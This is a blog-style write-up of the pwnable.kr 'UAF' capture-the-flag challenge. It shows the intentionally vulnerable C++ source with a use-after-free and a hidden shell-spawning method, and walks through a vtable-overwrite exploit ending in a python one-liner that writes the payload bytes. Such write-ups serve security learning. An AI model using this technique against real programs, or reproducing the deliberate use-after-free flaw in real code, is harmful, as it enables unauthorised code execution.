Pwnable.kr UAF

taodai
4 min readJan 26, 2021

a friend of mine suggested me this platform a while ago and i realized that it have some really cool and interesting challenges, and since i started practicing heap exploitation this year i decided to document this for future reference , so lets jump in !

we start by ssh-ing into the remote server. We’re given 2 files , the compiled binary and the c++ source code

#include <fcntl.h> 
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
virtual void give_shell(){
system(“/bin/sh”);
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << “My name is “ << name << endl;
cout << “I am “ << age << “ years old” << endl;
}
};

class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << “I am a nice guy!” << endl;
}
};

class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << “I am a cute girl!” << endl;
}
};

int main(int argc, char* argv[]){
Human* m = new Man(“Jack”, 25);
Human* w = new Woman(“Jill”, 21);

size_t len;
char* data;
unsigned int op;
while(1){
cout << “1. use\n2. after\n3. free\n”;
cin >> op;

switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << “your data is allocated” << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}

we have an x64 binary with NX bit enabled, if we start reviewing the code we can see a menu of 3 options (use, after,free) and 3 classes : Man, Woman and Human which both of man and woman use its methods, also we notice a private method called “give_shel()” that execute system(“/bin/sh”)

ill be using radare2 to reverse this binary because gdb analyze is messed up with this type of binaries.

its executing the menu and then it calls rdx that seems to be class which inherit methods from .

i tried few stuff at first like freeing the 2 objects and then used them and we can see it crash at “0x400fd8 <main+276> mov rdx, qword ptr [rax]” because there is no pointer to the value in RAX

but the next instructions caught my attention, it looks like its moving the rax pointer to rdx and then it calls it , so in here we can think of a simple attack !

if we manage to control rax and insert the give_shell() private method in it we can simply get a shell .

if we take another look at the program source code again we see the second case takes 2 parameters from stdin which are the file data length and the filename

case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << “your data is allocated” << endl;
break;

so i wrote a 5 bytes string in a file and allocated it twice and got control over rax ! now lets find the give_shell() method address by inspecting Man vtable

okay so the address of give_shell() is 0x00401570 but when using the first case we notice that its adding 8 to rax

so the idea in here is to minus 8 from 0x00401570 = 0x401568 so the next time we call that option it add 8 and we get 0x00401570 in rax

lets add 0x401568 to a file and set the length to 8

python -c 'print("\x68\x15\x40\x00\x00\x00\x00\x00")' > pwned.txt

and boom ! to be honest it was a fun introductory challenge and thanks to my friend for the great suggestion . Thanks for reading !

--

--